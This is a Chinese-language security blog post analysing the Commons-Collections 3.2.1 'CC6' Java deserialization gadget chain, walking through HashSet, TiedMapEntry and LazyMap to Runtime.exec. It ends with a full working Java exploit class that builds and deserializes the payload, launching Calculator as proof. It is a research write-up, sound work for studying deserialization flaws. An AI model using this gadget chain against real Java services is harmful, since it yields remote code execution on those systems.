Commons-Collections-6

Commons-Collections-6 利用链分析

Posted by SEVENTEEN on November 6, 2021

前言

   前一篇分析了CC1的链子,这篇来分析一下针对高版本jdk的CC6,这一条也可以说是比较常用的链子了。

影响范围

   在Jdk 7和8的⾼版本触发,没有版本限制

配置环境

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

Commons-Collections-6

   前面这一部分跟CC1的一样,只不过多了一个Faketransformer,目的是为了在序列化的时候不触发执行。

   跟随代码来到TiedMapEntry#TiedMapEntry,可以看到这里对this.map赋值为lazyMap类。

   经过hashSet.add方法后会调用getValue()方法,跟进一下该方法的实现。

   可以看到这里的map.get(key),所以上面对this.map赋值其实是为了调用lazyMap类的get方法。 触发lazyMap#get后就跟CC1一样可以执行代码了。

   那么这里多了一个lazyMap.remove去除前面加入的键值有什么意义么。

   尝试把lazyMap.remove那一行注释掉就可以发现在lazyMap类的get方法中无法进入if分支,也就无法到factory.transform()来执行指令。

   先看到实现序列化接口的HashSet类中的readObject方法,这里实例化了HashMap对象,并调用了map.put()方法。 而map.put()方法中的e参数只要可控即可利用。

   来到序列化的点可以看到这里writeObject方法,e为for循环获取到的key值。 所以把TiedMapEntry对象注入到HashMap的Key值中即可完成利用。

EXP

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class Poc1 {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

        Transformer Faketransformer = new ChainedTransformer(new Transformer[]{});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, Faketransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");

        HashSet hashSet = new HashSet(1);
        hashSet.add(tiedMapEntry);
        lazyMap.remove("test1");

        // 通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(Faketransformer, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashSet);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
        
    }
}

There Is Nothing Below

   

Turn at the next intersection.